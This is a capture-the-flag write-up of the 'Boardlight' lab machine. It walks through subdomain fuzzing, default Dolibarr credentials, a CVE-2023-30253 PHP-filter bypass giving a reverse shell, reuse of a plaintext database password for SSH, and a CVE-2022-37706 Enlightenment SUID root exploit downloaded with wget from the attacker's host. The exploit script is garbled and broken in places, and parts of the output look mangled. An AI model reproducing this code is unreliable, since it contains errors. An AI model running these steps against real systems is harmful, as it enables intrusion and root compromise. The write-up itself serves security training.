



# Boardlight

## 1. Enumeration


We start with nmap scanning, two ports open, one of them a web application

```
# Nmap 7.94SVN scan initiated Sat May 25 15:01:53 2024 as: nmap -sS -sC -sV -oN nmap.txt 10.10.11.11
Nmap scan report for 10.10.11.11
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|_  256  ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 25 15:02:41 2024 -- 1 IP address (1 host up) scanned in 47.78 seconds
```

Let's see what is this about, previously the dns recognition was unsuccessful, but thanks to the contact information we can see the domain

```
(kali@kali)-[~]
$ whatweb 10.10.11.11
http://10.10.11.11 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][22], Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.11], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]
```



So we proceed to find a subdomain using three different tools

```
(kali㉿kali)-[~/Desktop/Boardlight]
$ gobuster dns -d board.htb -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Domain:      board.htb
[+] Threads:     10
[+] Timeout:     1s
[+] Wordlist:     /usr/share/amass/wordlists/subdomains-top1mil-5000.txt

Starting gobuster in DNS enumeration mode

Found: crm.board.htb
```

```
(kali㉿kali)-[~/Desktop/Boardlight]
$ wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://board.htb -H 'Host: FUZZ.board.htb' --hw 1053

*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://board.htb/
Total requests: 4989

ID      Response  Lines  Word  Chars  Payload
-----
000000072:  200        149 L   504 W   6360 Ch  "crm - crm"
^C /usr/local/lib/python3.11/dist-packages/wfuzz/wfuzz.py:79: UserWarning:Finishing pending requests ...
```


```
root@kali: /Desktop/Boardlight root@kali: /Desktop/Boardlight root@kali: /Desktop/Boardlight
L$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.board.htb/

v2.1.0-dev Dolibarr ERP/CRM

:: Method : GET
:: URL : http://FUZZ.board.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10 word
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500

LOGIN
[Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 333ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
```

Dolibarr sign-in as usually we need to discard obvious vulnerabilities as default credentials, and we bypass login interface



## 2. User flag


We've got the version of the software before, after searching on google we found there's a vulnerability where someone with determine permissions can obtain RCE (**CVE-2023-30253**)

17.0.0admin

Access denied.  
You try to access to a page, area or feature of a disabled module or without being in an authenticated session or that is not allowed to your user.

Current login: **admin**  
Permission for this login can be defined by your Dolibarr administrator from menu Home->Users.Note: clear your browser cookies to destroy existing sessions for this login.

UserPermissionsUser Display SetupNoteLinked filesLog

admin

Loginadmin

Type ⓘInternal

Module/Application

Users & Groups

Read other users and groups

Create/modify other users, groups and permissions

Modify other users password

Delete or disable other users

Create/modify his own user information

Modify his own password

Export users

Websites

☒Read website content

☒Create/modify website content (html and javascript content)

Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers.


Delete website content

Export website content

Go to create a new website

Boardlight

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The vulnerability consists in edit HTML source, apparently we can't use php code because we don't have those permissions but if we try to use variants like "Php, pHp, pHp" this filter will be bypassed, using a normal reverse shell we could get a shell as `data`

```
(kali㉿kali)-[~/Desktop/Boardlight]
$ nc -lnvp 7777
Listening on 0.0.0.0 7777
Connection received on 10.10.11.11 35656
SOCKET: Shell has connected! PID: 57068
whoami
www-data
ls
class
index.php
lib
samples
websiteaccount_card.php
```

Looking for config files where data has reading permissions we found credentials for the database

```
pwd
/var/www/html/crm.board.htb/htdocs/conf
```

```
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrownner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';
```

If we try to break into the database, it would be useless because it has tons of tables, and users registered are admin:admin that we guess before

```
mysql -u dolibarrownner -p
Enter password: serverfun2$2023!!
show databases;
show tables;
ERROR 1046 (3D000) at line 2: No database selected
Database
dolibarr
information_schema
performance_schema
```

```
mysql> select * from llx_user
+-----+
| rowid | entity | ref_employee | ref_ext | admin | employee | fk_establishment | datec | tms | fk_user_creat | fk_user_modif | login | pass_encodi | |
| ng | pass | pass_crypted | | | | | | | | | | | |
| fk_country | birth | birth_place | job | office_phone | office_fax | user_mobile | personal_mobile | email | personal_email | signature | socialnetworks | fk_soc | fk_socpeople |
| fk_member | fk_user | fk_user_expense_validator | fk_user_holiday_validator | idpers1 | idpers2 | idpers3 | note_public | note_private | model_pdf | datelastlogin | datepre |
| viouslogin | datelastpassvalidation | datestartvalidity | dateendvalidity | idplastlogin | idpreviouslogin | egroupeware_id | idap_sid | openid | statut | photo | lang | color | ba |
| rcode | fk_barcode_type | accountancy_code | nb_holiday | thm | tjm | salary | salaryextra | dateemployment | dateemploymentend | weeklyhours | import_key | default_range | defau |
| lt_exp_tax_cat | national_registration_number | fk_warehouse | | | | | | | | | | | |
+-----+
| 1 | 0 | 1 | NULL | 1 | 1 | 0 | 2024-05-13 13:21:56 | 2024-05-13 13:21:56 | SuperAdmin | NULL | NULL | dolibarr | NULL | NULL |
| NULL | $2y$10$VevoimSke5cd1/nXlQl9Su6RstktRe7UXl0r.cm8Bz056NjCMJzCm | NULL | NULL | | | | | | | | | | | |
| NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | 2024-05-15 09:57:04 | 2024-05- |
| -13 23:23:59 | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NU |
| LL | NULL | 0 | | | 0 | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL |
| 2 | 1 | 1 | NULL | 0 | 1 | 0 | 2024-05-13 13:24:01 | 2024-05-15 09:58:40 | admin | NULL | NULL | NULL | NULL | NULL |
| NULL | $2y$10$eIEK0l7VZnr5KlbbDzGbl.YuJxwz55d15j135EuIUslgAhh1H9G | NULL | NULL | yr6V3pX9QEI | NULL | | | | | | | | | |
| NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | 2024-05-25 20:28:08 | 2024-05- |
| -25 19:42:12 | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | 1 | NULL | NULL | NU |
| LL | NULL | 0 | | 0 | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL |
+-----+
```

Try to use those creds on ssh and got the user flag

```
(kali㉿kali)-[~/Desktop/Boardlight]
$ ssh larissa@board.htb
The authenticity of host 'board.htb (10.10.11.11)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:46: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
larissa@board.htb's password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
larissa@boardlight:~$
```

### 3.Priv esc

Using linpeas to enumerate the system we found a set uid binary in a path, casualty one of the directories of the path has almost the same of the machine it could be promising

```
-rwsr-xr-x 1 root root 27K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset (Unknown SUID binary!)
```

There is a vulnerability

CVE-2022-37706 in bash, basically the system library function mishandles path names that begin with /dev/.. substring

```
#!/usr/bin/bash

#This code is trying to search a specific vulnerable SUID
#if it finds it, it tries to leverage it to obtain full access

echo "CVE-2022-37706"
echo "[*] Trying to find the file of the vulnerable SUID"

#It searches through the whole file system with string "enlightment"
#which has the following permissions: SUID (-4000).
#Redirects all errors to /dev/null

file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null)

if[[ -z ${file} ]]
then
    echo "[- Couldn't find the vulnerable SUID file...]"
    echo "[*] Enlightenment should be installed on your system"
    exit 1
fi

echo "[+] Vulnerable SUID binary found!!"
echo "[+] Trying to pop up a root shell"

#It creates necessary directories for the exploit
mkdir -b /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit

echo "[+] Welcome to the rabbit hole!!"
```



```
${file} /bin/mount -o \noexec,nosuid,utf8,nodev,icharset=utf8

read -p "press any key to clean"

sleep 5
rm -rf /tmp/exploit
rm -rf /tmp/net

echo -e "Done"
```

```
(kali@kali)-[~]
└─$ ssh larissa@board.htb
larissa@board.htb's password:
Last login: Tue May 28 09:31:31 2024 from 10.10.14.69
larissa@boardlight:~$ cd Desktop/
larissa@boardlight:~/Desktop$ wget http://10.10.16.99:8000/exploit.sh
--2024-05-28 09:32:02-- http://10.10.16.99:8000/exploit.sh
Connecting to 10.10.16.99:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 953 [text/x-sh]
Saving to: 'exploit.sh'

exploit.sh          100%[=====>]          953  --.-KB/s   in 0s

2024-05-28 09:32:03 (4.25 MB/s) - 'exploit.sh' saved [953/953]

larissa@boardlight:~/Desktop$ chmod +x exploit.sh
larissa@boardlight:~/Desktop$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[*] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Welcome to the rabbit hole :)
mount: /dev/..tmp/: can't find in /etc/fstab.
# cd ../../../../
# cat root/root.txt
```